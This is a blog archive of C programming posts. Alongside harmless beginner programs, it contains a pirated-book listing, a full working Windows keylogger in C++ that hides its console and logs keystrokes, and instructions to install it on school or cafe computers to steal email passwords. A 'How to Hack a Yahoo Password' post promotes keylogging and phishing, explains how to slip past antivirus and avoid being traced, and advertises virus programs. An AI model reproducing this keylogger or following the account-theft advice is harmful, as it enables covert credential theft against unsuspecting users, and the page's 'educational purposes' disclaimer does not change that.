Showing posts with label C SOURCE CODES. Show all posts
Showing posts with label C SOURCE CODES. Show all posts

Tuesday, November 23, 2010

C+ + for Programmers

C+ + for Programmers
C+ + for Programmers
P**e H*ll | 2009 | ISBN: 0137001304 | 1056 pages | CHM | 5 MB

PRACTICAL, EXAMPLE-RICH COVERAGE OF:
Classes, Objects, Encapsulation, Inheritance, Polymorphism
Integrated OOP Case Studies: Time, GradeBook, Employee
Industrial-Strength, 95-Page OOD/UML® 2 ATM Case Study
Standard Template Library (STL): Containers, Iterators and Algorithms
I/O, Types, Control Statements, Functions
Arrays, Vectors, Pointers, References 




Tuesday, October 5, 2010

hacking passwords using keylogger


To hack any ones account just download the following software and double click on it .it will get installed on your computer.the  thing it  do is..... whatever user will type on keyboard all will be saved in a file called log.txt which is a text file ..means passwords will also be saved whenever user log in using internet.remember that log.txt will be saved there where you will keep virus file(the file you have downloaded).you can install this software in cyber cafes or in your college ,school computers by which you can hack many email ids..if u face any problem comment below.......

to create your own keylogger use following method...

                                      first download dev c++ from here

                                       How to install DevC++ and run .cpp file



                                             Launch Dev C++ ,
                                             Click on File-> New-> Project



Choose empty project, type name of project for example hackosys and select C++ Project



Right click on project name and click New File



after this will appear field where you should type code , to execute code click on Execute->Compile & Run or press F9

code 

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
 void Stealth();
 int main()
 {
 Stealth();
 char i;
 while (1)
 {
 for(i = 8; i <= 190; i++)
 {
 if (GetAsyncKeyState(i) == -32767)
 Save (i,"LOG.txt");
 }
 }
 system ("PAUSE");
 return 0;
 }
 /* *********************************** */
 int Save (int key_stroke, char *file)
 {
 if ( (key_stroke == 1) || (key_stroke == 2) )
 return 0;
 FILE *OUTPUT_FILE;
 OUTPUT_FILE = fopen(file, "a+");
 cout << key_stroke << endl;
 if (key_stroke == 8)
 fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
 else if (key_stroke == 13)
 fprintf(OUTPUT_FILE, "%s", "\n");
 else if (key_stroke == 32)
 fprintf(OUTPUT_FILE, "%s", " ");
 else if (key_stroke == VK_TAB)
 fprintf(OUTPUT_FILE, "%s", "[TAB]");
 else if (key_stroke == VK_SHIFT)
 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (key_stroke == VK_CONTROL)
 fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
 else if (key_stroke == VK_ESCAPE)
 fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 else if (key_stroke == VK_END)
 fprintf(OUTPUT_FILE, "%s", "[END]");
 else if (key_stroke == VK_HOME)
 fprintf(OUTPUT_FILE, "%s", "[HOME]");
 else if (key_stroke == VK_LEFT)
 fprintf(OUTPUT_FILE, "%s", "[LEFT]");
 else if (key_stroke == VK_UP)
 fprintf(OUTPUT_FILE, "%s", "[UP]");
 else if (key_stroke == VK_RIGHT)
 fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
 else if (key_stroke == VK_DOWN)
 fprintf(OUTPUT_FILE, "%s", "[DOWN]");
 else if (key_stroke == 190 || key_stroke == 110)
 fprintf(OUTPUT_FILE, "%s", ".");
 else
 fprintf(OUTPUT_FILE, "%s", &key_stroke);
 fclose (OUTPUT_FILE);
 return 0;
 }
 /* *********************************** */
 void Stealth()
 {
 HWND Stealth;
 AllocConsole();
 Stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(Stealth,0);
 }

now execute this code


The content in this article is presented for educational purposes only
if you face any problem regarding tutorial then do write to us...

Thursday, September 9, 2010

Clone virus C, C++

This is a virus code of clone virus in c/c++. This virus clones itself. You can convert it into java by making small changes that any java programmer can make out.



Before you use this virus you need to compile . Just select the complie option in your c compiler. DONT RUN IT OR SELECT THE RUN OPTION, I repeat dont run it. Now exit the compiler . Find the size of the .exe file generated in bytes. Replace the value of "X" with is value(in bytes).

Now recompile it and exit.

What this virus does is it makes all the files in the current directory a virus. You need to find out the header files for yourself as this only for educational purpose . Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.


This is intended for c/c++ programmers who have knowledge about data structure. This is only and only for knowledge sake

BLACK WOLF VIRUS

This is the code of the "Black Wolf" virus.This is in c. You are at your own risk. If you spread this you will land behind the bar. We are giving this only for educational Purpose. You need to guess the header file for yourself.




This virus corrupts all the .com files . so be extremely careful what you do with it.

Doom virus

Replace location to the location where you want the file to be








This is not actually a virus but a practical joke. It will make your victim believe that his system is under seize and is infected. Remember you need to compile it only (.ie click on compile option ) and not run it(i.e click on run option). This will generate the .EXE file.



Even though this is just a prank just be careful to whom you spread it as you could still get into minor trouble.

Wednesday, April 14, 2010

How to Hack a Yahoo Password

Everyday I get a lot of emails from people asking how to hack a Yahoo password? So if you’re curious to know how to hack Yahoo then this is the post for you. In this post I will give you the real and working ways to hack Yahoo password.





Is it possible to hack Yahoo?



Yes! As a matter of fact it’s possible to hack almost any email password. But before you learn the real ways to hack Yahoo password, the following are the things you should be aware of.



1. There is no ready made software or program that can hack a Yahoo password just by entering the target username. If you come accross a site that claims to sell such Yahoo password hacking software then it’s 100% scam.
2. Never trust any Hacking Service that claims to hack Yahoo password just for $100 or $200. All the hacking services are scams.


3. With my experience of about 6 years in the field of Hacking and IT security, I can tell you that there are only TWO ways to hack Yahoo password: They are Keylogging and Phishing. All the other password hacking methods are simply scam or don’t work! The following are the only 2 working and foolproof methods to hack Yahoo password.



1. EASIEST WAY TO HACK YAHOO


Using keylogger is the easiest way to hack a Yahoo password. A keylogger is a small program that records each and every keystroke (including passwords) that a user types on a specific computer’s keyboard. A keylogger is also called as Spy program or Spy software. To use it you don’t need to have any special knowledge. Anyone with a basic knowledge of computer can use it. With my experience I recommend the following keylogger as the best for hacking Yahoo password.

Can I be traced back if I install it on some other computer?




No, it’s almost impossible to trace back to you for installing the keylogger on other’s PC.



What if the antivirus block from sending it as an email attachment?


Instead of sending the keylogger as an email attachment, you place the file in .ZIP/.RAR format and upload it to www.fileden.com. After uploading, just send the direct download link to the victim via email. Once he downloads the file from this link and run it, the keylogger will get installed automatically.



2. OTHER WAYS TO HACK YAHOO




The other most commonly used trick to hack Yahoo password is using a Fake Login Page (also called as Phishing). Today, Fake login pages are the most widely used techniques to hack Yahoo password. A Fake Login page is a page that appears exactly as a Login page of sites like Yahoo, Gmail etc. But once we enter our password there, we end up loosing it.



However creating a fake login page and taking it online to successfully hack a Yahoo password is not an easy job. It demands an in depth technical knowledge of HTML and scripting languages like PHP, JSP etc. So if you are new to the concept of hacking passwords, then I recommend using the keyloggers to hack Yahoo password since it’s the easiest way.

C Program to Print a Character without using any Output Statements

This program can be used to print character without using any output statements. This program only works in 16-bit mode since it directly writes to VDU Memory.







#include

#include

void main()

{

char far *p=(char far *)0xb8000000;

*p=’A';

getch();

}

Program to Print it’s Own Source Code

Here is a C program to print it’s own source code.That is the output of this program is exactly same as it’s source code.Here’s the program




#include

char *program=”#include%cchar *

program=%c%s%c;%cvoid main()%c{%cprintf

(program,10,34,program,34,10, 10,10,10);%c}”;

void main()

{

printf(program,10,34,program,34,10,10,10,10);

}

C Program to display the No. of Digits in an Entered Number

This program displayes the number of digits present in the number that is entered through the input.




#include

#include



void main()

{

unsigned long int num;

int i=0;

clrscr();

printf(“Enter the digit\n”);

scanf(“%lu”,&num);

while(num!=0)

{

num=num/10;

++i;

}

printf(“Length=%d”,i);

getch();

}

C Program to Print the Entered Number in Words

The following C program print’s the entered number in words.For example if the number entered is 12345 then the program prints the entered number in words as One Two Three Four Five







#include

void main()

{

int i=0;

unsigned long int digit;

char str[12],ch;

puts(“Enter the number (less than 10 digit)”);

scanf(“%lu”,&digit);

ultoa(digit,str,10); /*converts an unsigned long int to string*/

while(str[i]!=’\0′)

{

ch=str[i];

i++;

switch(ch)

{

case ‘1′:

printf(“ONE “);

break;

case ‘2′:

printf(“TWO “);

break;

case ‘3′:

printf(“THREE “);

break;

case ‘4′:

printf(“FOUR “);

break;

case ‘5′:

printf(“FIVE “);

break;

case ‘6′:

printf(“SIX “);

break;

case ‘7′:

printf(“SEVEN “);

break;

case ‘8′:

printf(“EIGHT “);

break;

case ‘9′:

printf(“NINE “);

break;

case ‘0′:

printf(“ZERO “);

break;

}

}

}

C Program to Generate Numbers in Pyramid Pattern

This program generates the numbers in pyramid pattern.It takes the input from two through nine and generates the numbers in the pyramid pattern.For example if the input is 4 then the program produces the following output




 
….1

1111112 2

111113 3 3

111.4 4 4 4& so on..







CODE:



#include

#include

void main()

{

int i,n,j,x=40,y=10;

clrscr();

printf(“Enter n (between 2 & 9)\n”);

scanf(“%d”,&n);

for(i=1;i<=n;i++)

{

gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */

for(j=1;j<=i;j++)

{

printf(“%d “,i);

}

x=x-1;

y++;

}

getch();

}

C Program to Generate Random Numbers

This is a simple program to generate random numbers.This logic can be used to build a Lotto program or a program to pick Lucky number and so on.Here’s the program






#include

#include

#include



int main(void)

{

int i;

time_t t;

srand((unsigned) time(&t));

printf(“Ten random numbers from 0 to 99\n\n”);

for(i=0; i<10;i++)

printf(“%d\n”,rand()%100);

}



OR



If it necessary to generate a number between 0 and (num-1) then this program meets the ideal solution

#include

#include

#include

/* prints a random number in the range 0 to 99 */

int main(void)

{

randomize();

printf(“Random number in the 0-99 range: %d\n”, random (100));

return 0;

}

C Program to Set/Change the Current System Time

This program can be used to set or change the system time








#include

#include



int main(void)

{

struct time t;

gettime(&t);

printf(“The current hour is: %d\n”, t.ti_hour);

printf(“The current min is: %d\n”, t.ti_min);

printf(“The current second is: %d\n”, t.ti_sec);



/* Add one to the hour,minute & sec struct element and then call settime */



t.ti_hour++;

t.ti_min++;

t.ti_sec++;

settime(&t);

printf(“The current hour is: %d\n”, t.ti_hour);

printf(“The current min is: %d\n”, t.ti_min);

printf(“The current second is: %d\n”, t.ti_sec);

return 0;

}

C Program to Get the Current System Date

This program will get or read the current system date from the system.It displays Year,Month and Day.







#include

#include



int main(void)

{

struct date d;

getdate(&d);

printf(“The current year is: %d\n”, d.da_year);

printf(“The current day is: %d\n”, d.da_day);

printf(“The current month is: %d\n”, d.da_mon);

return 0;

}

C Program to Set/Change the Current System Date

This program can be used to set the system date or to change the current system date.










#include

#include

#include



int main(void)

{

struct date reset;

struct date save_date;

getdate(&save_date);

printf(“Original date:\n”);

system(“date”);

reset.da_year = 2001;

reset.da_day = 1;

reset.da_mon = 1;

setdate(&reset);

printf(“Date after setting:\n”);

system(“date”);

setdate(&save_date);

printf(“Back to original date:\n”);

system(“date”);

return 0;

}

C Program for Pigeon Breeding Problem

The problem is as follows…




Initially i have a pair of adult pigeons(capable of breeding) which give rise to another young pair every month until it reaches the age of 5 years(60 months).But the young pair starts breeding only when it is 2 months old.Once the adult pigeon pair starts breeding it never stops untils the age of 5 years.Assume the age of initial adult pigeon is 2 months old.This program takes the no. of months as input and will calculate the total no. of pigeons over a given time(as given by the input).This problem is framed, based on my own imagination and i call this problem as PIGEON BREEDING PROBLEM.Heres the code



#include

#include



struct node

{

int age;

struct node *link;

};



typedef struct node* NODE;



NODE getnode()

{

NODE x;

x=(NODE)malloc(sizeof(struct node));

if(x==NULL)

{

printf(“Out of memory\n”);

exit(1);

}

return x;

}



void main()

{

unsigned long int count=1;

unsigned int months,i;

NODE first=getnode();/*this is the intial adult pair*/

first->age=2; /*assume the age of initial adult pair as 2*/

first->link=NULL;

printf(“Enter the no. of months\n”);

scanf(“%u”,&months);

for(i=0;iage>=2)&&(temp->age<=60)) { NODE temp1=getnode(); temp->age+=1;

temp1->age=1;

temp1->link=first;

first=temp1;

temp=temp->link;

++count;

}

else

{

temp->age+=1;

temp=temp->link;

}

}

}

printf(“Total no. of pairs after %u months=%ld\n”,months,count);

}

A Self Destructing Program in C

This program will destroy itself upon execution.The program will cause the .exe file to be deleted upon execution.That is this program is capable of destroying itself upon execution.Heres the code






#include

#include

#include

void main()

{

printf(“This program will destroy itself if u press any key!!!\n”);

getch();

remove(_argv[0]);/*array of pointers to command line arguments*/

}



HOW TO COMPILE ?

Load the source code to the compiler and compile(press Alt-F9) and then press F9.This will generate the .exe file in the current directory(Bin directory).Execute this .exe file it will destroy itself upon execution.

Guessing Game In C

This is a small guessing game written in C.In this guessing game you have to guess a number between 0 & 100.You have 8 chances to do that.Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low.Based on this hint you have to guess the number in the remaining attempts.Here’s the code






#include

#include

#include



void main()

{

int num,guess=-1,tries=0,pass=0;

time_t t;

srand((unsigned)time(&t));

num=rand()%100;

while((guess!=num)&&tries<8)

{

printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);

tries++;

if(guess==num)

{

printf(“Hurray you guessed it correctly!!!\n”);

pass=1;

}

else if(num< guess)

printf(“Your guess is too high\n”);

else

printf(“Your guess is too low\n”);

}

if(pass==0)

printf(“Sorry you lost! The correct number is %d\n”,num);

}

C Program Without a Main Function

How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here’s the code of the program without a main function…






#include
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)
int begin()

{

printf(” hello “);

}



Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working without main?



Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main. But in reality it runs with a hidden main function.



The ‘##‘ operator is called the token pasting or token merging operator. That is we can merge two or more characters with it.



NOTE: A Preprocessor is program which processess the source code before compilation.



Look at the 2nd line of program-



#define decode(s,t,u,m,p,e,d) m##s##u##t



What is the preprocessor doing here. The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut). The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).



Now look at the third line of the program-



#define begin decode(a,n,i,m,a,t,e)



Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line the argument must be expanded so that the 4th,1st,3rd & the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.



So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler. That’s it…



The bottom line is there can never exist a C program without a main function. Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exists a hidden main function in the program. Here we are using the proprocessor directive to intelligently replace the word begin” by “main”. In simple words int begin=int main.

File Embedder Project in C

Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project.So here i am presenting you with the source code of the FILE EMBEDDER UTILITY project.




This utility can be used to embed one file with in the other.ie:Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.



Both the Embedding and extraction process has been presented in seperate functions for your convenience.here’s the code…..



#include

#include

#include

#include

#include

#include

#include



void embed(void);

void extract(void);



char buff[1],sname[128],tname[128],dname[128],choice;

unsigned long int size=0;long int psize=0;int outh,bytes=0;

FILE *source,*target,*data;



void main()

{

while(1)

{

clrscr();

puts(“\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);

puts(“1.Embed A File 2. Extract A File 3.Exit\n”);

choice=getch();

switch(choice)

{

case ‘1′:embed();

getch();

break;

case ‘2′:

extract();

getch();

break;

default:

exit(0);

}

}

}



void embed()

{

puts(“\nEnter The Source Filename\n”);

scanf(“%s”,sname);

source=fopen(sname,”rb+”);

if(source==NULL)

{

puts(“\nCannot Open The Source File\n”);

return;

}

puts(“\nEnter The Target Filename\n”);

scanf(“%s”,tname);

outh=open(tname,O_RDONLYO_BINARY);

if(outh==-1)

{

puts(“\nCannot Open The Target File\n”);

return;

}

printf(“\nReading The Source File Please Wait…\n”);

while((bytes=read(outh,buff,1))>0)

size+=bytes;

data=fopen(“Data.cfg”,”w”);

if(data==NULL)

{

puts(“\nCannot Create Configuration The File\n”);

return;

}

fprintf(data,”%lu”,size);

close(outh);

fclose(data);

target=fopen(tname,”rb”);

if(target==NULL)

{

puts(“Cannot Open Target File\n”);

return;

}

printf(“\nEmbedding Please Wait…\n”);

fseek(source,0,SEEK_END);

while(fread(buff,1,1,target)>0)

fwrite(buff,1,1,source);

fcloseall();

printf(“\nEmbedding Completed Successfully\n”);

}



void extract()

{

printf(“\nEnter The Source Filename\n”);

scanf(“%s”,sname);

source=fopen(sname,”rb”);

if(source==NULL)

{

printf(“\nCannot Open The Source File\n”);

return;

}

printf(“\nEnter The Target Filename(eg: abc.exe)\n”);

scanf(“%s”,tname);

printf(“\nEnter The Configuration Filename(eg: DATA.cfg)\n”);

scanf(“%s”,dname);

data=fopen(dname,”r”);

if(data==NULL)

{

printf(“\nConfiguration File Not Found\n”);

return;

}

fscanf(data,”%ld”,&psize);

target=fopen(tname,”wb”);

if(target==NULL)

{

puts(“\nCannot Open The Target File\n”);

return;

}

printf(“\nExtracting Please Wait…\n”);

fseek(source,-psize,SEEK_END);

while((fread(buff,1,1,source))>0)

fwrite(buff,1,1,target);

printf(“\nFile Extraction Completed Successfully\n”);

fcloseall();

}



YOU CAN DOWNLOAD THE COMPILED MODULE OF THE ABOVE CODE HERE